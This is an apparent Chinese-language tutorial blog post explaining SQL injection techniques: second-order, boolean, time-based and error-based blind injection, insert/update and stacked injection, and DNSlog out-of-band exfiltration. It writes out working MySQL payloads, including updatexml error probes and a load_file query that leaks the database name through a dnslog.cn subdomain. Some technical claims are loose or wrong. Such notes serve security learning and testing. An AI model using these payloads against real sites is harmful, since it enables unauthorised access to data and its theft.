注入类型(二)

一、二次注入

1.1 原理

        在第一次进行数据库插入数据的时候,使用了addslashes等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 "\" 进行转义,但是 "\" 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到数据库中之后,开发者会认为数据是可信的,在下一次进行查询的时候,直接从数据库中取出了脏数据。没有进行进一步的检验和处理,,这样就会造成SQL的二次注入。比如:在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中,然后在下一次使用中在拼接的过程中,就形成了二次注入。

整个注入过程需要执行两次

  • 第一次仅仅是将恶意代码写入到数据库中。
  • 第二次执行恶意代码【暴露数据,修改其他账号密码】

出现位置:

注册账号,修改密码
注册邮箱,修改密码

添加文章,编辑文件

二、盲注

2.1 什么是盲注?

盲注是一种SQL注入的攻击方式,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注。

2.2 盲注分为三种:布尔盲注、时间盲注、报错盲注

        其中布尔盲注,就是说我们在注入语句的后面加上一个布尔判断,就是判断真和假。如果说我们判断的条件成立了,页面依然显示正常,那么就说明这个代码执行了,如果后面的布尔判断不成立,页面显示错误了。那么结合这两个,我们就可以判断出来这个页面大概率是存在注入漏洞的。然后的话,布尔盲注一般需要结合if语句,就是mysql中的if判断,还要结合substring去截取字符串。

        延时盲注的话,很多时候需要结合sleep函数,如果说sleep函数一旦被执行了,页面就会有一个延时,延时就是比正常页面显示时间耗时更长,这就说明sleep函数被执行了。

        报错盲注一般情况下是要借助于mysql中的一个内置函数,叫mysql_error,在新版本中叫mysqli_error,这个是专门实现报错盲注的。就是如果你的网站要实现报错盲注,那你就得看看有没有这个函数,有它就支持,没有就不支持。

  • 布尔:if、substring、regxp正则表达式、like、ascii
  • 延时:if、sleep
  • 报错:updatexml、floor向下取整的函数
    • 真:true、1、2>1、2=2
    • 假:flase、0、1>2、2=3
    • 例:
      • select if(1=1,"ok","error")
      • 1' and if(1=1,"ok","error")

2.3 判断是否有引号

123\

  • 如果页面显示正常,则说明这个值是数值类型,没有用引号
  • 如果页面显示异常,则说明这个值是字符串类型,一定有引号

2.4 判断单双引号

123 '        123"

  • 123' 页面显示正常,但是123"显示异常,说明服务器端用的是双引号,反之就是单引号

2.5 延时注入格式:

id=1 and if(substring(database(),2,1)="b",sleep(11),"0")

注意:延时盲注返回结果不是布尔值

2.6 报错注入最大的危害

就是导致敏感信息泄露

2.7 报错原理:

        就是我们可以让系统去发生报错,然后借助于mysql_error 输出报错信息,然后为了让它输出敏感信息,我们就在后面加上一个不存在的函数,然后它会提示你,这个库不存在这个函数,这个时候,我们就拿到了这个数据库名称了。

报错注入:

mysql_error()、mysqli_error()

2.8 updatexml()函数

作用:替换xml字符串中的内容

语法:updatexml(xml,xpath,字符串)

参数一:xml格式的字符串

参数二:xpath语法的路径

参数三:字符串

xml格式:

<student>
    <name>tom</name>
    <age>18</age>
    <weight>75</weight>
</student>

xpath路径

/student/name

注入语句:

update u set name=updatexml('<student><name>tom</name><age>18</age><weight>75</weight></student>',concat(0x7e,(select database()),0x7e),'abcd')

标准语句:

update u set name=updatexml('<student><name>tom</name><age>18</age><whight>75</whight></student>','/student/age','<gender>M</gender>')

注意:0x7e 转义后会被数据识别为~

报错注入实践

在黑盒模式下的报错注入的基本思路是:

首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容

报错注入得到库名

1' and info() --+

1' and (updatexml(1,concat(1,concat(0x7e,(select database()),0x7e),1)) --+

三、insert注入

需求:检查insert语句是否存在注入漏洞。

查看项目中文件有两种方法

1.直接访问  【直接访问的时候,往往会缺少参数】

2.找那个文件调用的目标文件,通过调用关系来打开【建议】

注入语句

'or updatexml(1,concat(0x7e,database(),0x7e),1) or '

' or a() or'

四、update注入

第一步:找网站访问入口

访问网站-检查首页文件

检查网站根目录:index.html、index.php、index.asp、index.jsp、default.html、default.php

第二步:分析网站的访问入口

看代码

第三步:找包含了update语句的文件

第四步:分析找到的文件

检查是否有数据库相关的明显漏洞点,例如:mysql_error()

检查这个文件如何执行,检查代码是否在函数中

直接访问这个文件试试

第五步:找那个文件调用的这个文件

第六步:测试注入语句

?r=software&cid=2 or updatexml(1,concat(0x7e,user(),0x7e),1)

?r=software&cid=2 or a()


如果测试过程中,感觉输入的SQL语句可以正常执行,但是结果正常,那么就需要仔细检查语句。

五、堆叠注入

简介

  • 堆叠查询注入
  • 针对查询语句进行注入、通过堆叠注入,可以执行多条SQL语句,语句之间用冒号分割
  • 一般第一个语句是正常的,第二个是注入语句,通常之后显示第一个语句的执行结果。
  • sqlserver、oracle、mysql都支持

PHP函数

mysql_query()、mysqli_query()                                   执行单个SQL语句

mysql_multi_query()、mysqli_multi_query()                执行多个SQL语句

六、二次注入

常见位置:

注册界面、修改界面、查看界面

添加文章、修改文件

二次注入什么时候使用?

        要测试的网站做了这个转义,开启了GPC,输入单引号会被转义,这个时候就可以尝试用二次注入

二次注入有什么特点?

        就是我们在往里面写数据的时候,数据被转义了,就是传进去的数据会被加上斜线。这个情况,我们可以把数据保存到数据库中,比如:在注册的时候,我可以把它保存到数据库里,往数据库写数据的时候,转义字符是写不进去的。那将来,我在读取,访问我的用户名时,我们就可以去触发当初写的那个恶意语句了

七、DNSlog注入

DNSlog:记录域名解析信息

DNS外带:

查询DNS的解析日志,获取敏感信息

用的函数:load_file

DNS外带使用场景

盲注

无回显的XSS、SSRF、XXE

限制条件

首先要有注入点

高权限用户

有读写权限

secure_file_prive=" "

平台:

www.dnslog.cn        ceye.io        admin.dnslog.link

语句:

id=1' and (select load_file(concat('11',(select database()),'.otsiaj.dnslog.cn/aaa'))) #

  • 48
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ys52IT

你的鼓励将是我创作的最大动力你

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值